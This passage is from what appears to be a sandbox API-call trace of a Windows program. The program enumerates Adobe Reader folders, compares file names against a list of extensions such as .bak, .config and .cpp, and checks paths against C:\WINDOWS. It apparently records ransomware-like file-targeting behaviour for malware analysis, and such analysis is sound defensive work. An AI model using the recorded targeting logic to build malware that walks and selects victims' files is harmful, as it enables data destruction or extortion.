4 [0259.952] lstrcmpiW (lpString1=".asc", lpString2=".css") returned -1 [0259.952] lstrlenW (lpString=".ascx") returned 5 [0259.952] lstrcmpiW (lpString1=".ascx", lpString2="8.css") returned -1 [0259.952] lstrlenW (lpString=".asm") returned 4 [0259.952] lstrcmpiW (lpString1=".asm", lpString2=".css") returned -1 [0259.953] lstrlenW (lpString=".asmx") returned 5 [0259.953] lstrcmpiW (lpString1=".asmx", lpString2="8.css") returned -1 [0259.953] lstrlenW (lpString=".asp") returned 4 [0259.953] lstrcmpiW (lpString1=".asp", lpString2=".css") returned -1 [0259.953] lstrlenW (lpString=".aspx") returned 5 [0259.953] lstrcmpiW (lpString1=".aspx", lpString2="8.css") returned -1 [0259.953] lstrlenW (lpString=".asr") returned 4 [0259.953] lstrcmpiW (lpString1=".asr", lpString2=".css") returned -1 [0259.953] lstrlenW (lpString=".asx") returned 4 [0259.953] lstrcmpiW (lpString1=".asx", lpString2=".css") returned -1 [0259.953] lstrlenW (lpString=".avi") returned 4 [0259.953] lstrcmpiW (lpString1=".avi", lpString2=".css") returned -1 [0259.953] lstrlenW (lpString=".avs") returned 4 [0259.953] lstrcmpiW (lpString1=".avs", lpString2=".css") returned -1 [0259.953] lstrlenW (lpString=".backup") returned 7 [0259.953] lstrcmpiW (lpString1=".backup", lpString2="in8.css") returned -1 [0259.953] lstrlenW (lpString=".bak") returned 4 [0259.953] lstrcmpiW (lpString1=".bak", lpString2=".css") returned -1 [0259.953] lstrlenW (lpString=".bay") returned 4 [0259.953] lstrcmpiW (lpString1=".bay", lpString2=".css") returned -1 [0259.953] lstrlenW (lpString=".bd") returned 3 [0259.953] lstrcmpiW (lpString1=".bd", lpString2="css") returned -1 [0259.953] lstrlenW (lpString=".bin") returned 4 [0259.953] lstrcmpiW (lpString1=".bin", lpString2=".css") returned -1 [0259.953] lstrlenW (lpString=".bmp") returned 4 [0259.953] lstrcmpiW (lpString1=".bmp", lpString2=".css") returned -1 [0259.954] lstrlenW (lpString=".bz2") returned 4 [0259.954] lstrcmpiW (lpString1=".bz2", lpString2=".css") returned -1 [0259.954] lstrlenW (lpString=".c") returned 2 [0259.954] lstrcmpiW (lpString1=".c", lpString2="ss") returned -1 [0259.954] lstrlenW (lpString=".cdr") returned 4 [0259.954] lstrcmpiW (lpString1=".cdr", lpString2=".css") returned -1 [0259.954] lstrlenW (lpString=".cer") returned 4 [0259.954] lstrcmpiW (lpString1=".cer", lpString2=".css") returned -1 [0259.954] lstrlenW (lpString=".cf") returned 3 [0259.954] lstrcmpiW (lpString1=".cf", lpString2="css") returned -1 [0259.954] lstrlenW (lpString=".cfc") returned 4 [0259.954] lstrcmpiW (lpString1=".cfc", lpString2=".css") returned -1 [0259.954] lstrlenW (lpString=".cfm") returned 4 [0259.954] lstrcmpiW (lpString1=".cfm", lpString2=".css") returned -1 [0259.954] lstrlenW (lpString=".cfml") returned 5 [0259.954] lstrcmpiW (lpString1=".cfml", lpString2="8.css") returned -1 [0259.954] lstrlenW (lpString=".cfu") returned 4 [0259.954] lstrcmpiW (lpString1=".cfu", lpString2=".css") returned -1 [0259.954] lstrlenW (lpString=".chm") returned 4 [0259.954] lstrcmpiW (lpString1=".chm", lpString2=".css") returned -1 [0259.954] lstrlenW (lpString=".cin") returned 4 [0259.954] lstrcmpiW (lpString1=".cin", lpString2=".css") returned -1 [0259.954] lstrlenW (lpString=".class") returned 6 [0259.954] lstrcmpiW (lpString1=".class", lpString2="n8.css") returned -1 [0259.954] lstrlenW (lpString=".clx") returned 4 [0259.954] lstrcmpiW (lpString1=".clx", lpString2=".css") returned -1 [0259.954] lstrlenW (lpString=".config") returned 7 [0259.954] lstrcmpiW (lpString1=".config", lpString2="in8.css") returned -1 [0259.955] lstrlenW (lpString=".cpp") returned 4 [0259.955] lstrcmpiW (lpString1=".cpp", lpString2=".css") returned -1 [0259.955] lstrlenW (lpString=".cr2") returned 4 [0259.955] lstrcmpiW (lpString1=".cr2", lpString2=".css") returned -1 [0259.955] lstrlenW (lpString=".crt") returned 4 [0259.955] lstrcmpiW (lpString1=".crt", lpString2=".css") returned -1 [0259.955] lstrlenW (lpString=".crw") returned 4 [0259.955] lstrcmpiW (lpString1=".crw", lpString2=".css") returned -1 [0259.955] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0259.957] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x396eb94 | out: lpFindFileData=0x396eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="images", cAlternateFileName="")) returned 1 [0260.203] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0260.205] FindNextFileW (in: hFindFile=0x6cfe48, lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 1 [0260.208] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0260.208] FindNextFileW (in: hFindFile=0x688f50, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0260.208] FindClose (in: hFindFile=0x688f50 | out: hFindFile=0x688f50) returned 1 [0260.208] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0260.208] FindNextFileW (in: hFindFile=0x6cfe48, lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0260.208] FindClose (in: hFindFile=0x6cfe48 | out: hFindFile=0x6cfe48) returned 1 [0260.208] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0260.208] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396e918 | out: lpFindFileData=0x396e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi_contrast", cAlternateFileName="HI_CON~1")) returned 1 [0260.289] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0260.289] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396e918 | out: lpFindFileData=0x396e918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1185, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations.png", cAlternateFileName="ILLUST~2.PNG")) returned 1 [0260.293] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0260.293] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dark", cAlternateFileName="")) returned 0 [0260.293] FindClose (in: hFindFile=0x6cfd88 | out: hFindFile=0x6cfd88) returned 1 [0260.293] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0260.293] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396e918 | out: lpFindFileData=0x396e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win-scrollbar", cAlternateFileName="WIN-SC~1")) returned 1 [0260.296] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0260.296] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0260.296] FindClose (in: hFindFile=0x6cfd88 | out: hFindFile=0x6cfd88) returned 1 [0260.296] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0260.296] FindNextFileW (in: hFindFile=0x6cfe48, lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x114, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vscroll-thumb.png", cAlternateFileName="VSCROL~1.PNG")) returned 1 [0260.296] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0260.297] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396e918 | out: lpFindFileData=0x396e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win8-scrollbar", cAlternateFileName="WIN8-S~1")) returned 1 [0260.299] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0260.299] FindNextFileW (in: hFindFile=0x6cfe48, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0260.299] FindClose (in: hFindFile=0x6cfe48 | out: hFindFile=0x6cfe48) returned 1 [0260.299] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0260.299] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0260.300] FindClose (in: hFindFile=0x6cfd88 | out: hFindFile=0x6cfd88) returned 1 [0260.300] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0260.300] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396e918 | out: lpFindFileData=0x396e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win8-scrollbar", cAlternateFileName="WIN8-S~1")) returned 0 [0260.300] FindClose (in: hFindFile=0x6cfdc8 | out: hFindFile=0x6cfdc8) returned 1 [0260.300] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4280fb8 | out: hHeap=0x670000) returned 1 [0260.305] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x396eb94 | out: lpFindFileData=0x396eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="js", cAlternateFileName="")) returned 1 [0260.354] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0260.354] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca-es", cAlternateFileName="")) returned 1 [0260.359] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0260.359] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0260.442] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0260.442] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da-dk", cAlternateFileName="")) returned 1 [0260.443] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0260.443] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de-de", cAlternateFileName="")) returned 1 [0260.537] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0260.537] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-ae", cAlternateFileName="")) returned 1 [0260.620] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0260.620] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-gb", cAlternateFileName="")) returned 1 [0261.449] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0261.449] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-il", cAlternateFileName="")) returned 1 [0261.449] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0261.450] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es-es", cAlternateFileName="")) returned 1 [0261.450] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0261.450] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu-es", cAlternateFileName="")) returned 1 [0261.450] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0261.450] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0261.450] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0261.450] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0261.450] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0261.450] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0261.451] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0261.451] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he-il", cAlternateFileName="")) returned 1 [0261.451] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0261.451] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0261.451] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hr-hr") returned 104 [0261.451] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hr-hr") returned 1 [0261.451] lstrlenW (lpString="hr-hr") returned 5 [0261.451] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="hr-hr") returned -1 [0261.451] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0261.451] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hr-hr") returned 104 [0261.451] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hr-hr\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315770 [0261.452] FindNextFileW (in: hFindFile=0x3315770, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.452] FindNextFileW (in: hFindFile=0x3315770, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xe93, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", 